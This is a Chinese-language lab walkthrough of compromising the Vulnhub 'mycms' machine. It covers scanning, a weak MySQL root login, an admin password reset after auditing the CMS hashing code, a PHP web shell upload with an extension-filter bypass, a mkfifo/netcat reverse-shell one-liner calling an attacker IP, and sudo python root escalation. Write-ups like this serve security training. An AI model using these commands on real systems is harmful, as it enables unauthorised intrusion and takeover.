vulnhub靶場
Vulnhub靶机-Jangow
Vulnhub靶机-mycms
Vulnhub靶机-no_name
Vulnhub靶机-Tempus Fugit 1
HACK学习
-
+
首页
Vulnhub靶机-mycms
# Vulnhub 靶机-myCmsms ## 信息收集 ``` nmap -sV -sT -p- -sC 192.168.1.29 ``` ![image-20221118215127507](/media/202211/2022-11-19_0159440.40204333981306006.png) ``` gobuster dir -u http://192.168.1.29 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,html,js,.bak,json,git,php.~,.txt~,.js~,.git~,.swp,.md,.swo,.swn,.un ``` ![image-20221118221136818](/media/202211/2022-11-19_0159440.7771520982802955.png) ## 寻找漏洞 ``` mysql -h 192.168.1.29 -uroot -proot #尝试弱口令进入。成功 ``` ![image-20221118221355512](/media/202211/2022-11-19_0159450.6577024147777583.png) ``` select * from cms_users limit 0,10; ``` ![image-20221118221547375](/media/202211/2022-11-19_0159460.4941190478514551.png) > **并不能破解** ![image-20221118221716780](/media/202211/2022-11-19_0159470.8440827279183283.png) **开始替换密码** ``` echo -n 111111 | md5deep #111111=96e79218965eb72c92a549dd5a330112 ``` ![image-20221118221847859](/media/202211/2022-11-19_0159470.12854097872473313.png) ![image-20221118222229107](/media/202211/2022-11-19_0159480.19464061472244654.png) ![image-20221118223126262](/media/202211/2022-11-19_0159480.9095593834930327.png) **发现登录不成功,那么说明密码可能不是 md5 加密那么简单。此时,陷入僵局。需要找到框架源码,看一下是怎么加密的。** > [http://www.cmsmadesimple.org/](http://www.cmsmadesimple.org/) > > **#源码下载地址。** ![image-20221118223337060](/media/202211/2022-11-19_0159490.5508557311330176.png) ![image-20221118232350139](/media/202211/2022-11-19_0159490.6088637447376958.png) ![image-20221118232405194](/media/202211/2022-11-19_0159500.5062937165151141.png) ![image-20221118232415030](/media/202211/2022-11-19_0159500.5575991654044813.png) **下载完成,开始代码审计。** > **LoadUserByUsername()方法对用户密码作出处理,共传递四个参数,第一个是用户名,第二个是密码,第三个和第四个为 true。** ![image-20221118232542233](/media/202211/2022-11-19_0159510.019613504222074085.png) > **跟踪进去之后,发现先 get_site_preference()方法了一下,再对密码进行 md5 加密。** > > **那么问题就出在这个 get_site_preference()方法上。** > > **该方法,传递了两个参数,第一个是 sitemask,第二个为空。** ![image-20221118232711306](/media/202211/2022-11-19_0159510.8933668840940249.png) > **get_site_preference()方法第一个参数传递的是 sitemask,将该参数传递给了 cms_siteprefs 类内部的 get 方法。** ![image-20221118233128053](/media/202211/2022-11-19_0159520.16859056149911955.png) > **进入这个 cms_siteprefs 类,找了这个 get 方法。** > > **发现这个 get 方法,调用给了这个缓存类的 get 方法,这个缓存类的 get 方法并没有用传递的参数,而是用系统的 *****CLASS*** > > **那么只需要找到这个 global_cache 类的 get 方法初始化拿到了哪些东西。那么就知道这个 cms_siteprefs.get 方法接收到的这个 sitemask 有什么用了。** ![image-20221118233335396](/media/202211/2022-11-19_0159520.5979245667691946.png) > **这里具体的解释已经放到图片里面了。** > > **最后得到的值应该就是键值对数组。** > > **举个例子就是:A[key]=B[value]** > > **然后,在通过上面传递的参数,也就是 sitemask,去找到这个 value。** ![image-20221118234302434](/media/202211/2022-11-19_0159530.21829804559212562.png) **好了,到了这里,思路已经很清晰了,在这里在逆着捋一遍。** ``` #步骤一:初始化 #1.1最开始代码初始化,会通过cms_siteprefs的read方法,得到一个值也就是这段代码: public static function setup() { $obj = new \CMSMS\internal\global_cachable(__CLASS__,function(){ return self::_read(); }); global_cache::add_cachable($obj); } #1.2而这个read()方法会对数据库进行查询,查询语句是: SELECT sitepref_name,sitepref_value FROM cms_siteprefs #1.3将查到的name和value做成键值对对应起来,也就是A[KEY]=B[VALUE],也就是下面这段代码: /** * @ignore * @internal */ private static function _read() { $db = CmsApp::get_instance()->GetDb(); if( !$db ) return; $query = 'SELECT sitepref_name,sitepref_value FROM '.CMS_DB_PREFIX.'siteprefs'; $dbr = $db->GetArray($query); if( is_array($dbr) ) { $_prefs = array(); for( $i = 0, $n = count($dbr); $i < $n; $i++ ) { $row = $dbr[$i]; $_prefs[$row['sitepref_name']] = $row['sitepref_value']; } return $_prefs; } } #这个时候,回到1.1,将这个键值对数据,存到缓存中。也就是1.1中的global_cache::add_cachable($obj); #步骤二:验证 #2.1步骤一,初始化完成之后,就开始进行验证。 #将传递的sitemask参数直接放进prefs数组中,看是否为空,也就是找A[sitemask]=B[VALUE]是否为空,不为空返回这个Value,也就是这段代码: public static function get($key,$dflt = '') { $prefs = global_cache::get(__CLASS__); if( isset($prefs[$key]) ) return $prefs[$key]; return $dflt; } #步骤三:加密 #这个时候开始加密:当得到有数据的值后,会对前端passwd进行拼接加密,也就是这段代码: if ($password != '') { $where[] = 'password = ?'; $params[] = md5(get_site_preference('sitemask','').$password); } ``` **所以,我们只需要在数据库中查到该数据表中这个 column 中是否有等于传入的该参数:sitemask** ![image-20221118235853761](/media/202211/2022-11-19_0159530.513796296909305.png) **找到!!!!** **那么加密方式就是:a235561351813137+passwd** **再回到最开始,重新进行密码更改** ![image-20221119000242337](/media/202211/2022-11-19_0159540.3186255880932476.png) ![image-20221119000253612](/media/202211/2022-11-19_0159540.6888241057638148.png) ![image-20221119000325323](/media/202211/2022-11-19_0159540.40829706334791915.png) **登录成功!!!** ## 开始反弹 shell **找到文件上传地址:** ![image-20221119000705855](/media/202211/2022-11-19_0159550.494209030792198.png) **编写反弹 shell 脚本:** ``` <?php system($_REQUEST['looch']);?> ``` ![image-20221119000735829](/media/202211/2022-11-19_0159560.8201547247951714.png) **很遗憾,发现并不能上传.php 文件,不过没关系,我们可以用其他的方法** **打开 fuzzdicts-master,找到 php 上传字典打开该字典,试一些可以上传成功,且能够被 php 解析的。** ![image-20221119001347403](/media/202211/2022-11-19_0159560.6769521340038124.png) ![image-20221119001452646](/media/202211/2022-11-19_0159560.9939609583829426.png) **终于找到!!!** **开始反弹 shell** **找到反弹 shell 命令:** ![image-20221119001631632](file:///C:/Users/lich/AppData/Roaming/Typora/typora-user-images/image-20221119001631632.png?lastModify=1668791431) **进行 url 加密:** ``` rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16 8888 >/tmp/f rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.16+80>/tmp/f ``` ![image-20221119001720450](/media/202211/2022-11-19_0159570.3366674527397162.png) **试了好几个常用端口,发现都不能回推,有可能是服务器那边没有 nc 命令?** ![image-20221119002806214](/media/202211/2022-11-19_0159570.38391848806322837.png) **id 命令是可用的** ![image-20221119002859641](/media/202211/2022-11-19_0159570.831003887318468.png) **那么笔者就开始在网上找其他的 php 反弹的脚本,大家也都自行查找把。** **最后反弹成功。** ![image-20221119003319686](/media/202211/2022-11-19_0159580.9642477525374333.png) ## 开始提权 **先设置一个完美交互式 shell** ``` python3 -c 'import pty;pty.spawn("/bin/bash")'; stty raw -echo fg ``` ![image-20221119003435636](/media/202211/2022-11-19_0159590.3648005377102913.png) > **查看是否有可以 suid 提权的** > > **发现一个.sh 文件,** ![image-20221119004427183](/media/202211/2022-11-19_0159590.5841804521351235.png) **进入用户目录,查看了一下,并不能执行。** ![image-20221119004509241](/media/202211/2022-11-19_0159590.0001849728798234418.png) **进入/var/www/html/admin 目录,有重大发现!!!** ![image-20221119004639128](/media/202211/2022-11-19_0200000.37823235123489407.png) **开始进行解密,得到用户名和密码。开始连接!!!** ![image-20221119004701404](/media/202211/2022-11-19_0200000.0007452618648927656.png) **进入用户,发现设置有漏洞,可以进行无密码的 root 权限操作:** ![image-20221119004958012](/media/202211/2022-11-19_0200010.5084280670589328.png) **提权成功:** ``` sudo python -c 'import pty; pty.spawn("/bin/bash")' ``` ![image-20221119005238261](/media/202211/2022-11-19_0200020.04886887495657344.png) **===========================================** **总结:** **该靶机需要知道以下几个知识点:** 1. **从 nmap 扫描 mysql 结果,判断 mysql 是否支持外联** 2. **会代码审计** 3. **会 mysql 数据查询** 4. **会 python 提权方式** 5. **知道 php 解析后缀有哪些** --- **暂时只想到这么多,睡觉了~~~**
looch
2022年11月19日 02:00
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档
PDF文档(打印)
分享
链接
类型
密码
更新密码